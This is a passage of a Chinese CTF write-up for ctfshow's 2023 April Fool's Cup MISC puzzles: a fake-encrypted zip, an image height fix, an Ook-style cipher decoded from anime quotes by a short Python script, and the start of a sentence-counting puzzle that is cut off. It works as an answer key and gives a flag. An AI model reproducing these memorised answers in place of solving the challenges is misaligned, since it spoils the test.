0


ctfshow—2023愚人杯wp

ctfshow—2023愚人杯wp

热身

热身

100

愚人杯比赛秉承欢乐、有爱、进取的精神

在群里师傅热心帮助下,已经开始第三届比赛啦!

欢迎各位师傅参加,希望大家玩的开心,比赛题目可以自由讨论、但是请不要py

正式比赛在 3月31日晚8点整开整

Happy April Fool’s Day!

本题flag是一个不能说的秘密

一个不能说的秘密

MISC

奇怪的压缩包

伪加密,图片里藏了一个压缩包

key base64解一下就是压缩包密码

1

压缩包里面一张图片,修改高度即可

flag

哇库哇库2

阿尼亚会高数: 哇库哇库!

  1. key = Σ(1/(n!))
  2. "Σ(1/(n!))"为无穷级数
  3. 结果四舍五入保留十二位有效数字

问一问new bing

2

嗯,就是常数e的值

key = 2.71828182846

hint的文件头坏了屁股坏了还有crc坏了,再爆破宽高,修了一下提示GB2312,感觉没啥用

看到群里提示是ook,嗯,标点很明显

x =["阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","好帅好帅!","阿尼亚棒吗?","可爱,可爱!","阿尼亚不想去上学了!","阿尼亚想穿这身衣服出萌。","阿尼亚可爱吗?","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","阿尼亚帅不帅?","要是不向次子道歉,世界和平就完蛋了。","蓬蓬头?","交给我吧!","欢迎来到阿尼亚家。","哇酷哇酷?","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲,阿尼亚合格啦!","父亲做菜很好吃。","阿尼亚棒吗?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","阿尼亚好兴奋!","阿尼亚可爱吗?","阿尼亚要加油!","阿尼亚在学校也会加油的!","好想有个母亲爱我。","阿尼亚帅不帅?","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","蓬蓬头?","父亲和母亲都很有趣,我最喜欢他们了。","哇酷哇酷?","阿尼亚必须加油!","我想永远和他们在一起。","阿尼亚棒吗?","父亲做菜很好吃。","多亏了父亲。","营救公主的间谍!","太好了。","阿尼亚可爱吗?","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","是住在城堡里的奇美拉!","阿尼亚帅不帅?","救命呀!","救救我!劳埃德曼!","好想有个母亲爱我。","蓬蓬头?","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","哇酷哇酷?","阿尼亚喜欢厉害又帅气的母亲。","阿尼亚棒吗?","太好了!","都怪阿尼亚踩到了粑粑。","阿尼亚可爱吗?","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚一点也不在意。","阿尼亚帅不帅?","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","阿尼亚在学校也会加油的!","蓬蓬头?","阿尼亚必须加油!","营救公主的间谍!","父亲做菜很好吃。","哇酷哇酷?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚棒吗?","阿尼亚想去你家玩。","阿尼亚可爱吗?","是住在城堡里的奇美拉!","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚帅不帅?","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","救命呀!","父亲和母亲甜甜蜜蜜。","蓬蓬头?","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","救救我!劳埃德曼!","哇酷哇酷?","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","要是不向次子道歉,世界和平就完蛋了。","阿尼亚棒吗?","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚可爱吗?","欢迎来到阿尼亚家。","阿尼亚帅不帅?","阿尼亚想吃蛋包饭!","阿尼亚想穿这身衣服出萌。","蓬蓬头?","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","交给我吧!","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","父亲,阿尼亚合格啦!","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚好兴奋!","阿尼亚想穿这身衣服出萌。","哇酷哇酷?","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","阿尼亚要加油!","阿尼亚棒吗?","阿尼亚在学校也会加油的!","阿尼亚必须加油!","母亲,给阿尼亚做特训吧。","阿尼亚可爱吗?","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","阿尼亚帅不帅?","要是不向次子道歉,世界和平就完蛋了。","蓬蓬头?","可爱,可爱!","欢迎来到阿尼亚家。","哇酷哇酷?","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","阿尼亚想穿这身衣服出萌。","阿尼亚棒吗?","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","父亲,母亲,有需要帮助的人!","阿尼亚可爱吗?","要帮助他!","太好了!","多亏了父亲。","阿尼亚帅不帅?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","蓬蓬头?","母亲是杀手。","哇酷哇酷?","花生!","父亲和母亲甜甜蜜蜜。","阿尼亚棒吗?","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","阿尼亚想吃蛋包饭!","父亲是间谍。","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","母亲是杀手。","阿尼亚可爱吗?","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","营救公主的间谍!","阿尼亚帅不帅?","是住在城堡里的奇美拉!","救命呀!","欢迎来到阿尼亚家。","蓬蓬头?","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","哇酷哇酷?","阿尼亚不想要这个妈妈。","阿尼亚棒吗?","救救我!劳埃德曼!","父亲是间谍。","阿尼亚可爱吗?","阿尼亚好想看呀!","母亲是杀手。","阿尼亚帅不帅?","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","完美的劳埃德曼,好想看呀!","蓬蓬头?","看我必杀拳,砰!","好耶!","欢迎来到阿尼亚家。","哇酷哇酷?","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","阿尼亚棒吗?","阿尼亚想穿这身衣服出萌。","阿尼亚可爱吗?","可爱,可爱!","阿尼亚想去你家玩。","阿尼亚帅不帅?","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","阿尼亚好失落。","蓬蓬头?","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","好帅好帅!","哇酷哇酷?","可爱,可爱!","阿尼亚不想去上学了!","父亲和母亲都很有趣,我最喜欢他们了。","阿尼亚棒吗?","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","阿尼亚可爱吗?","我想永远和他们在一起。","阿尼亚帅不帅?","救命呀!","父亲做菜很好吃。","蓬蓬头?","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","多亏了父亲。","哇酷哇酷?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚想吃蛋包饭!","阿尼亚棒吗?","警惕!","阿尼亚想像母亲一样厉害!","阿尼亚喜欢厉害又帅气的母亲。","阿尼亚可爱吗?","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","阿尼亚帅不帅?","我想永远和他们在一起。","蓬蓬头?","好帅好帅!","父亲做菜很好吃。","哇酷哇酷?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","可爱,可爱!","阿尼亚一点也不在意。","阿尼亚棒吗?","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","阿尼亚不想去上学了!","阿尼亚可爱吗?","交给我吧!","父亲,阿尼亚合格啦!","父亲做菜很好吃。","阿尼亚帅不帅?","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","蓬蓬头?","多亏了父亲。","哇酷哇酷?","救命呀!","太好了。","阿尼亚棒吗?","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","母亲,给阿尼亚做特训吧。","阿尼亚可爱吗?","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","看我必杀拳,砰!","阿尼亚帅不帅?","好耶!","父亲,母亲,有需要帮助的人!","阿尼亚喜欢厉害又帅气的母亲。","蓬蓬头?","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","哇酷哇酷?","会没事的。","阿尼亚棒吗?","要帮助他!","父亲和母亲都很有趣,我最喜欢他们了。","阿尼亚可爱吗?","我想永远和他们在一起。","父亲做菜很好吃。","太好了!","多亏了父亲。","阿尼亚帅不帅?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","花生!","蓬蓬头?","阿尼亚想吃蛋包饭!","警惕!","父亲是间谍。","哇酷哇酷?","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","阿尼亚棒吗?","母亲是杀手。","阿尼亚可爱吗?","救命呀!","父亲和母亲甜甜蜜蜜。","阿尼亚帅不帅?","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","会没事的。","蓬蓬头?","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚好想看呀!","哇酷哇酷?","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","阿尼亚一点也不在意。","阿尼亚棒吗?","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚可爱吗?","阿尼亚想去你家玩。","阿尼亚帅不帅?","好耶!","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","蓬蓬头?","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","父亲,母亲,有需要帮助的人!","太好了。","哇酷哇酷?","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","要帮助他!","阿尼亚棒吗?","太好了!","花生!","我想永远和他们在一起。","阿尼亚可爱吗?","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚帅不帅?","父亲做菜很好吃。","蓬蓬头?","阿尼亚好想看呀!","多亏了父亲。","哇酷哇酷?","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","太好了。","阿尼亚棒吗?","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","阿尼亚在学校也会加油的!","阿尼亚可爱吗?","阿尼亚必须加油!","营救公主的间谍!","多亏了父亲。","阿尼亚帅不帅?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","蓬蓬头?","我想永远和他们在一起。","哇酷哇酷?","是住在城堡里的奇美拉!","父亲做菜很好吃。","阿尼亚棒吗?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","救命呀!","太好了。","阿尼亚可爱吗?","母亲,给阿尼亚做特训吧。"]
y =''.join([i[-1]for i in x]).replace('。','.').replace('?','?').replace('!','!')print(y)
..................!?!!.?..................?.?!.?....................................!.?.........!?!!.?........?.?!.?..!.?.......!?!!.?!!!!!!?.?!.?!!!!!!!!!!!.?.......!?!!.?......?.?!.?........!.?.......!?!!.?!!!!!!?.?!.?!!!!!...............!.................!.........!.?.................!?!!.?!!!!!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!.?...............!?!!.?..............?.?!.?..................!.!!!!!!!!!!!.?.........!?!!.?........?.?!.?!.?.........!?!!.?!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!.!!!!!.?.........!?!!.?!!!!!!!!?.?!.?!!!!!!!!!.?.........!?!!.?........?.?!.?............!.?.......!?!!.?!!!!!!?.?!.?!!!.?.......!?!!.?......?.?!.?..!.?.............!?!!.?!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!!!!!!!!!.?...............!?!!.?..............?.?!.?..............!.?.................!?!!.?!!!!!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!.?...................!?!!.?..................?.?!.?......................!.?.

4

ctfshow{4niya_KaWa1i!}

琴柳感

给了一段文本,一直重复某些话,先把它分离出来,再看看每句话出现了多少次

x ="我必须站在这里。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受